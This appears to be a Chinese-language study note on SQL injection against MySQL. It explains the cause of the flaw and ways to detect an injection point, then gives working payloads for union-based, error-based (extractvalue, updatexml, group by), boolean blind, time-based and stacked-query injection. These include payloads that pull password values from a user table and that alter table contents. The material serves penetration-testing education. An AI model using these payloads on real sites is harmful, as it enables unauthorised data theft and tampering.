SQL注入
SQL注入漏洞
成因:
- 程序员处理程序和数据库交互时,使用字符串拼接的方式构造sql语句
- 没有对用户可控参数进行足够的过滤,便将参数内容拼接到sql语句中
通过向用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。
分类
数据类型
- 数字型
- 字符型
注入手法
- 联合查询
- 报错注入
- 布尔盲注
- 延时注入
- 堆叠查询
提交参数方式
- GET注入
- POST注入
- cookie注入
- HTTP头部注入
...
注入点位置
- URL注入
- 搜索框注入
- 留言板注入
- 登录框注入
...
注入点判断
测试数据 | 测试判断 |
---|---|
-1或+1 | 是否能够回显上一个或下一个页面 |
‘或“ | 是否回显数据库错误信息;判断是字符型还是数字型;是字符型的话采用什么闭合方式 |
and 1=1 或 and 1=2 | 回显页面是否不同。不同布尔值下页面的状态 |
and sleep(5) | 通过页面的返回时间,判断是否被执行 |
\ | 判断转义 |
SQL注入流程
数据库名-->表名-->字段名-->字段内容
MySQL数据库中的注释
-
--空格
-- //input标签提交 --+ //url地址中
-
#
# //input标签提交 %23 //url地址中
-
内联注释(可以代替空格分割句子)
/* */ ?id=1'/**/and/**/1=1%23 ?id=1'/*!*/and/*!*/1=1%23 ?id=1'/*加一些垃圾字符*/and/*加一些垃圾字符*/1=1%23
-
可以代替空格的字符
?id=1'%0Aand%0A1=1%23 //%0A 换行符 ?id=1'%0Band%0B1=1%23 //%0B 垂直制表符 ?id=1'%0Dand%0D1=2%23 //%0D 回车符
注入基本手法
联合查询
必要条件:数据库的内容会回显到页面中
利用union
联合查询操作符:它允许你将来自不同表或相同表但基于不同条件的查询结果合并为一个单一的结果集。
两条select语句查询结果具有相同列数
对应列数据类型相同
目标分析
判断后台是否为select查询语句
?id=32 --> select * from tbName where id=32 --> select * from tbName where id=32 union select ...
判断列数
?id=32 order by 1 //正常显示
?id=32 order by 2 //正常显示
...
?id=32 order by x //正常显示
?id=32 order by x+1 //报错
说明当前select语句汇总具有x列
判断显示位置
?id=-32 union select 1,2,..,x #前面显示为假后面就该显示了
前面select语句为false就会显示联合查询后面的select语句
从页面显示数字几来判断显示位在哪儿
获取数据库敏感数据
把显示位的数字替换为sql语句
database() #当前库名
version() #版本号
@@version_compile_os #操作系统版本
@@datadir #数据库物理路径
current_user() #当前数据库用户名
报错注入
数据库SQL语句的报错信息可能会出现在页面中,因此可以根据报错信息进行注入。
group by重复键冲突
例子
?id=22 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
内部查询
select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x
这个查询从information_schema.tables
表中选择所有表,并对每个表计算一个多个值组成的字符串
这个字符串包括:
0x5e
十六进制表示的^
字符- 当前数据库的名称 (
select database()
) - 另一个
0x5e
- 一个介于0和1之间的随机数(
floor(rand()*2)
生成)
这个字符串被命名为x,并且按x进行分组。
由于floor(rand()*2)
的结果是随机的,会导致每次查询可能不同。同时concat
函数的结果在GROUP BY
子句中需要唯一,因此这会导致一个分组冲突错误。
外部查询
select 1 from (...)a
这个查询尝试从内部查询的结果中选择一个值(在这个例子中,选择的是数字1,但这个值并不重要,因为目的是触发错误,而不是获取实际的数据)。
内部查询结果被当做一个临时表a来处理。
效果:
- 当数据库尝试执行这个查询时,它会遇到分组冲突错误,并可能返回一个包含错误信息的消息。
- 而这些报错信息中会包含数据库的名称,该名称被嵌入在错误消息中的
^
字符之间。
相同的手法获取表cms_users中的password值
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from
cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group
by x)a)
extractvalue(1,payload)报错注入
extractvalue(xml_column, xpath_expression)
- xml_colum:包含xml数据的列名
- xpath_expression:XPath表达式,用于指定想从xml数据中提取的信息
使用条件:mysql5.1版本
标准payload
and extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error:“~root@localhost~"
mysql> select extractvalue("<a>abc</a>","/a") as val1;
+------+
| val1 |
+------+
| abc |
+------+
1 row in set (0.00 sec)
mysql> select extractvalue("<a>abc</a>","/a");
+---------------------------------+
| extractvalue("<a>abc</a>","/a") |
+---------------------------------+
| abc |
+---------------------------------+
mysql> select extractvalue("<a>abc</a>","!");
ERROR 1105 (HY000): XPATH syntax error: '!'
mysql> select extractvalue("<a>abc</a>",concat("!",(select database())));
ERROR 1105 (HY000): XPATH syntax error: '!security' #获取数据库名
mysql> select extractvalue("<a>abc</a>",concat(0x5e,(select database())));
ERROR 1105 (HY000): XPATH syntax error: '^security'
updatexml(1,payload,3)报错注入
updatexml(xml_target, xpath_expr, new_value)
- xml_target:需要更新的xml数据,可以是xml类型的列或表达式
- xpath_expr:XPath表达式,用于定位要更新的xml节点或属性
- new_value:新的节点值或要插入的节点内容,用于替换定位到的元素或设置新的属性值
使用条件:mysql5.1版本
标准payload
and updatexml(1,concat(0x7e,(select user()),0x7e),3)
用法同extractvalue相似
布尔盲注
页面中存在布尔类型的状态,可以根据布尔类型状态对数据库中的内容进行判断
-
判断数据库名长度
?id=33 and length (database())<3 ?id=33 and length (database())>3 ?id=33 and length (database())=3
根据页面布尔类型判断数据库名字长度
-
按位测试数据库名
# 第一位 ?id=33 and ascii(substr(database(),1,1))>1 #判断ascii的范围 ?id=33 and ascii(substr(database(),1,1))=99 # 99 # c # 第二位 ?id=33 and ascii(substr(database(),2,1))=109 # 99 109 # c m # 第三位 ?id=33 and ascii(substr(database(),3,1))=115 # 99 109 115 # c m s
利用对比ASCII值来测试出数据库名
-
使用BurpSuite爆破数据库名
substr(database(),$1$,1)=“$a$”
cluster bomb类型进行双变量爆破,第一个变量位0-1,第二个变量位a-Z
延时注入
当页面没有任何报错提示或者布尔类型的状态变化时:
利用sleep() 语句的延时性,以时间线作为判断条件,条件不成立则没有延时
sleep(x) #延时x秒
if(条件,成立返回值,不成立返回值) #判断语句
#配合使用
and if(length(database())=3,sleep(10),1) #通过页面加载是否存在延时来判断语句是否正确
堆叠查询
一次HTTP请求,可以通过用;
分隔来达到同时执行多条SQL语句的目的。
前提是已经知道数据库中有哪些表以及表内容了,通过堆叠可以修改表内容。
?id=2';create table test like users --+ #只是克隆表结构没有内容
?id=2';INSERT INTO test SELECT * FROM users --+ #复制原表users中的内容到test表中
?id=1';update test set password='123456' where id=1 --+ #修改对应表内容